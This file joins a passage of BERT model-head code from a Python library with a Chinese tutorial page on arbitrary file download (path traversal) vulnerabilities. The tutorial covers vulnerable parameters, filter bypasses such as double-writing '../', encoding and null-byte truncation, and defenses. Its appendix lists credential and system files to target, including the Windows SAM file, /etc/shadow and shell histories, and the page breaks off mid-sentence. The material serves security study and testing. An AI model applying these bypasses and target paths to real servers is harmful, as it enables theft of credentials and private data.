labels = kwargs.pop("next_sentence_label")
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
seq_relationship_scores = self.cls(pooled_output)
next_sentence_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
next_sentence_loss = loss_fct(seq_relationship_scores.view(-1, 2), labels.view(-1))
if not return_dict:
output = (seq_relationship_scores,) + outputs[2:]
return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
return NextSentencePredictorOutput(
loss=next_sentence_loss,
logits=seq_relationship_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Bert Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled
output) e.g. for GLUE tasks.
""",
BERT_START_DOCSTRING,
)
class BertForSequenceClassification(BertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.bert = BertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_SEQUENCE_CLASSIFICATION,
output_type=SequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_SEQ_CLASS_EXPECTED_OUTPUT,
expected_loss=_SEQ_CLASS_EXPECTED_LOSS,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], SequenceClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Bert Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
softmax) e.g. for RocStories/SWAG tasks.
""",
BERT_START_DOCSTRING,
)
class BertForMultipleChoice(BertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.bert = BertModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, 1)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], MultipleChoiceModelOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the multiple choice classification loss. Indices should be in `[0, ...,
num_choices-1]` where `num_choices` is the size of the second dimension of the input tensors. (See
`input_ids` above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Bert Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.
""",
BERT_START_DOCSTRING,
)
class BertForTokenClassification(BertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.bert = BertModel(config, add_pooling_layer=False)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_TOKEN_CLASSIFICATION,
output_type=TokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
expected_output=_TOKEN_CLASS_EXPECTED_OUTPUT,
expected_loss=_TOKEN_CLASS_EXPECTED_LOSS,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], TokenClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the token classification loss. Indices should be in `[0, ..., config.num_labels - 1]`.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Bert Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
BERT_START_DOCSTRING,
)
class BertForQuestionAnswering(BertPreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.bert = BertModel(config, add_pooling_layer=False)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(BERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_QA,
output_type=QuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
qa_target_start_index=_QA_TARGET_START_INDEX,
qa_target_end_index=_QA_TARGET_END_INDEX,
expected_output=_QA_EXPECTED_OUTPUT,
expected_loss=_QA_EXPECTED_LOSS,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
start_positions: Optional[torch.Tensor] = None,
end_positions: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], QuestionAnsweringModelOutput]:
r"""
start_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
end_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return QuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
|
2740908911/Pilot-Web | 37,049 | pilot-client/pages/download/assist/sum-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>任意文件下载漏洞介绍</span></strong></p><p><span>一些网站由于业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,攻击者就能够通过回溯符</span><code>../</code><span>或绝对路径跳转到任意目录查看或下载任意的文件;这可能是代码源文件,敏感配置文件等等,在特定的场景下,还可能造成SSRF漏洞。</span></p></li></ul><p></br></p><ul><li><p><strong><span>漏洞成因</span></strong></p><ol start='' ><li><p><span>由于没有对用户输入的文件名进行过滤,而造成用户输入的文件名可以通过../实现路径穿越来访问其他目录下的文件并下载。</span></p></li><li><p><span>一些应用或者服务器可能配置存在问题,导致可以直接回溯目录读取任意文件。</span></p></li><li><p><span>通过将非法路径文件写入数据库再调用进行二次利用,形似二次注入。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>常见攻击点(测试点)</span></strong></p><p><span>功能上:读取/下载图片、文件内容;下载附件;预览文档;导出文档;修改、保存文档等。</span></p><p><span>路径上:</span><code>download.xxx?xxx=</code><span>、</span><code>down.xxx?xxx=</code><span>、</span><code>getfile.xxx?xxx=</code><span>、</span><code>data.php?xxx=</code><span>等。</span></p><p><span>参数上:</span><code>RealPath=</code><span>、</span><code>FilePath=</code><span>、</span><code>file=</code><span>、</span><code>filename=</code><span>、</span><code>Path=</code><span>、</span><code>path=</code><span>、</span><code>getFile=</code><span>、</span><code>url=</code><span>、</span><code>urls=</code><span>、</span><code>Lang=</code><span>、</span><code>dis=</code><span>、</span><code>data=</code><span>、</span><code>readfile=</code><span>、</span><code>filep=</code><span>、</span><code>src=</code><span>、</span><code>menu=</code><span>、</span><code>META-INF=</code><span>、</span><code>&WEB-INF=</code><span>等。</span></p></li></ul><p></br></p><ul><li><p><strong><span>利用思路</span></strong></p><ol start='' ><li><p><span>查看常规的配置文件,如</span><code>ssh</code><span>、</span><code>数据库</code><span>、</span><code>ftp</code><span>等</span></p></li><li><p><span>查看常规的包含敏感信息的文件,如</span><code>各用户的.bash_history</code><span>等</span></p></li><li><p><span>查看网站日志</span><code>access.log</code><span>,找找网站后台、用户密码、别人的shell等</span></p></li><li><p><span>查看源代码进行审计</span></p></li><li><p><span>...</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>常见绕过方式</span></strong></p><ol start='' ><li><p><span>双写:适用于对</span><code>../</code><span>置空的情况,如</span><code>..././config</code><span> 去掉</span><code>../</code><span>的结果为</span><code>../config</code><span>。</span></p></li><li><p><span>编码:URL编码、两次URL编码、十六进制编码等;URL编码一般后端会解析一次,其他的编码需要分析服务端是否会进行解析。</span></p></li><li><p><span>路径穿越+截断:当代码中固定文件后缀名时,可以使用\0字符来截断后缀名。</span></p></li><li><p><span>HPP、分块传输、填充垃圾字符等。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>任意文件下载漏洞防御</span></strong></p><ol><li><p><span>在配置文件中限制访问的文件目录。</span></p></li><li><p><span>检查用户输入,过滤或转义含有</span><code>../</code><span>、</span><code>..\</code><span>、</span><code>%00</code><span>,</span><code>..</code><span>,</span><code>./</code><span>,</span><code>#</code><span>等跳转目录或字符终止符、截断字符的输入。</span></p></li><li><p><span>严格过滤用户输入字符的合法性,比如文件类型、文件地址、文件内容等。</span></p></li><li><p><span>白名单限定访问文件的目录、路径、名称。</span></p></li><li><p><span>白名单限定访问文件的后缀如jpg、gif、png、rar、zip、pdf、doc、xls、ppt等。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol><li><p><a href='https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.web%E6%BC%8F%E6%B4%9E/07.%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD:%E8%AF%BB%E5%8F%96/' target="_blank"><span>d4m1ts知识库-任意文件下载:读取</span></a></p></li><li><p><a href='https://blog.csdn.net/qq_43531669/article/details/116865660' target="_blank"><span>CSDN-任意文件读取/下载漏洞总结</span></a></p></li><li><p><a href='https://blog.csdn.net/sycamorelg/article/details/111592282' target="_blank"><span>CSDN-web渗透测试----7、任意文件读取、下载漏洞</span></a></p></li><li><p><a href='https://xz.aliyun.com/t/6594' target="_blank"><span>先知-浅析文件读取与下载漏洞</span></a></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>附录:常见攻击路径</span></strong></p><ul><li><p><span>WINDOWS</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\windows\win.ini //可以用来判断是否为windows系统</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\boot.ini //查看系统版本</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Windows\repair\sam //存储系统初次安装的密码</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Program Files\mysql\my.ini //Mysql 配置</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Program Files\mysql\data\mysql\user.MYD //Mysql root</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Windows\php.ini //php 配置信息</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">C:\Windows\my.ini //Mysql 配置信息</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># 需要管理员权限</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">%ProgramData%\Microsoft\Search\Data\Applications\Windows\Windows.edb</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">%ProgramData%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex 目录下文件名类似SystemIndex.[数字序号].gthr</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">%systemroot%\System32\winevt\Logs目录下的evtx日志文件,名字固定如下</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Application.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">ConnectionInfo.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Error.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">HardwareEvents.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Internet Explorer.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Key Management Service.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Media Center.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-API-Tracing%4Operational.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-AppID%4Operational.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application Server-Applications%4Admin.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application Server-Applications%4Operational.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application-Experience%4Problem-Steps-Recorder.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application-Experience%4Program-Inventory.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">.........省略</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"># 不需要管理员权限</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt # 类似.bash_history</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">%userprofile%\appdata\local\iconcache.db # 类似locate的db文件</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 875px;"></div><div class="CodeMirror-gutters" style="display: none; height: 875px;"></div></div></div></pre><p></br></p></li><li><p><span>LINUX</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/passwd</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/shadow</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/hosts</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/var/lib/mlocate/mlocate.db // locate命令的索引数据库文件,每天更新一次,大宝贝</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.bash_history //root 的 bash 历史记录</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.mysql_history //mysql 的 bash 历史记录</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/root/.wget-hsts</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/opt/nginx/conf/nginx.conf //nginx 的配置文件</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/var/www/html/index.html</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/redis.conf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/my.cnf</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/etc/httpd/conf/httpd.conf //httpd 的配置文件</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/self/fd/fd[0-9]*(文件标识符)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/mounts</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/porc/config.gz</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/sched_debug // 提供 cpu 上正在运行的进程信息,可以获得进程的 pid 号,可以配合后面需要 pid的利用</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/mounts // 挂载的文件系统列表</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/net/arp //arp 表,可以获得内网其他机器的地址</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/net/route //路由表信息</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/net/tcp and /proc/net/udp // 活动连接的信息</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/net/fib_trie // 路由缓存</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/version // 内核版本</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/[PID]/cmdline // 可能包含有用的路径信息</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含 getshell</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/[PID]/cwd // 当前进程的工作目录</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">/proc/[PID]/fd/[#] // 访问 file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">其会去保存文档和目录名称到数据库内(这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次),然后查找合乎范本样式条件的文档或目录。一般这个数据库的位置在:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
